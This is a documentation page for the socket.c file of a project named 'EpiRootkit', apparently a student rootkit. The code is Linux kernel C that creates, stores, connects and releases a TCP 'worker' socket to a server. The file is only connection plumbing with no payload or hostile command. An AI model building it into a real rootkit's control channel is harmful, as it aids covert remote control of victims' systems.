EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
socket.c
Go to the documentation of this file.
1#include "network.h"
2
3/*
4 * worker_socket.c - Worker socket management for the EpiRootkit project.
5 * This file provides API functions to manage a worker socket used for
6 * communication with a server. It includes functions to get, set,
7 * close, and connect the worker socket to a server address
8 */
9
10static struct socket *worker_socket = NULL;
11static DEFINE_MUTEX(worker_socket_lock);
12
13/*
14 * get_worker_socket - Retrieves the worker socket.
15 * Return: Pointer to the worker socket, or NULL if not set.
16 */
17struct socket *get_worker_socket(void) {
18 struct socket *s;
19 mutex_lock(&worker_socket_lock);
20 s = worker_socket;
21 mutex_unlock(&worker_socket_lock);
22 return s;
23}
24
30struct socket *set_worker_socket(struct socket *s) {
31 mutex_lock(&worker_socket_lock);
32 if (worker_socket)
33 sock_release(worker_socket);
34 worker_socket = s;
35 mutex_unlock(&worker_socket_lock);
36 return worker_socket;
37}
38
44 mutex_lock(&worker_socket_lock);
45 if (worker_socket) {
46 sock_release(worker_socket);
47 worker_socket = NULL;
48 DBG_MSG("close_worker_socket: socket released\n");
49 }
50 mutex_unlock(&worker_socket_lock);
51 return SUCCESS;
52}
53
59int connect_worker_socket_to_server(struct sockaddr_in *addr) {
60 int ret;
61 struct socket *s;
62
63 ret = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &s);
64 if (ret < 0) {
65 ERR_MSG("connect_worker_socket: failed to create socket (ret=%d)\n", ret);
66 return ret;
67 }
68
69 ret = kernel_connect(s, (struct sockaddr *)addr, sizeof(*addr), 0);
70 if (ret < 0) {
71 ERR_MSG("connect_worker_socket: connection failed (ret=%d)\n", ret);
72 sock_release(s);
73 return ret;
74 }
75
77 DBG_MSG("connect_worker_socket: connection successful\n");
78 return SUCCESS;
79}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
int close_worker_socket(void)
Definition socket.c:43
int connect_worker_socket_to_server(struct sockaddr_in *addr)
Definition socket.c:59
struct socket * get_worker_socket(void)
Definition socket.c:17
static DEFINE_MUTEX(worker_socket_lock)
static struct socket * worker_socket
Definition socket.c:10
struct socket * set_worker_socket(struct socket *s)
Definition socket.c:30